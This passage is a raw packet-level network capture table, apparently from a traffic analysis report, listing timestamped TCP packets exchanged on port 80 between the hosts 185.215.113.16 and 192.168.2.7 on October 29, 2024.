Oct 29, 2024 20:36:19.494776964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494787931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494801998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494848967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.494880915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494884968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.494894981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494909048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494916916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.494921923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494935036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494946957 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.494968891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.494996071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495001078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495013952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495024920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495032072 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495064020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495126009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495163918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495192051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495204926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495234013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495244026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495271921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495284081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495295048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495316982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495330095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495424032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495438099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495448112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495459080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495461941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495471954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495484114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495486975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495512009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495544910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495573997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495584011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495585918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.495614052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.495625019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506066084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506097078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506135941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506146908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506150961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506170988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506212950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506218910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506232023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506242037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506259918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506272078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506300926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506311893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506323099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.506333113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.506365061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.519787073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.519802094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.519814014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.519845009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.519856930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.519869089 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.519906044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.522129059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522170067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522183895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522200108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.522233963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.522283077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522294998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522305012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522317886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522331953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.522337914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.522372007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.522409916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606280088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606327057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606338978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606353998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606365919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606378078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606422901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606450081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606462002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606472969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606477022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606488943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606498957 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606518030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606545925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606583118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606597900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606614113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606625080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606628895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606636047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606641054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606647968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606652975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606662989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606673956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606687069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606712103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606859922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606872082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606884956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606909037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606928110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.606961012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606973886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606983900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.606996059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607017994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607047081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607188940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607201099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607211113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607223988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607234955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607239008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607247114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607259035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607264042 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607270956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607281923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607301950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607325077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607431889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607444048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607455969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607467890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607480049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607487917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607490063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607498884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607505083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607526064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607544899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607601881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607614994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607644081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607657909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607687950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607701063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607723951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607743979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607753992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607765913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607778072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607795954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607805014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607831955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607878923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607889891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607899904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607912064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.607932091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607954979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.607990026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.608001947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.608014107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.608037949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.608072042 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.611974955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.611996889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612010956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612031937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612035036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612042904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612056017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612059116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612095118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612097979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612109900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612122059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612134933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612160921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612206936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612219095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612230062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612246037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612273932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612343073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612354994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612365961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612377882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612391949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612399101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612404108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612416029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612430096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612443924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612464905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612478971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612517118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612529039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612540960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612556934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612574100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612833023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612843037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612854004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612885952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612901926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.612946987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612961054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612974882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612993002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.612996101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613004923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613012075 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613023996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613046885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613085985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613085032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613127947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613137007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613149881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613181114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613190889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613254070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613265038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613277912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613296032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613302946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613307953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613322020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.613332987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.613368034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.622723103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622740984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622752905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622766018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622780085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622786999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.622795105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.622836113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.623023033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.623061895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.623089075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.623101950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.623123884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.623138905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.623168945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.623181105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.623212099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.623228073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.636769056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636792898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636806965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636817932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636830091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636842012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.636868954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.636917114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.639343977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639358997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639372110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639384031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639394999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639404058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639414072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639415979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.639430046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639442921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639457941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.639477968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.639517069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724107027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724137068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724149942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724159956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724172115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724236012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724236012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724441051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724452019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724462986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724476099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724492073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724529028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724569082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724581003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724591970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724602938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724613905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724622011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724627018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724633932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724641085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.724672079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.724682093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.725153923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725167036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725172043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725178003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725183010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725188017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725193977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725199938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.725259066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727050066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727073908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727087021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727111101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727140903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727233887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727246046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727257967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727268934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727283001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727296114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727300882 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727325916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727412939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727425098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727435112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727446079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727453947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727459908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727469921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727499008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727631092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727648020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727658033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727669001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727674007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727682114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727694035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727700949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727706909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.727726936 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.727746964 CET	49983	80	192.168.2.7	185.215.113.16
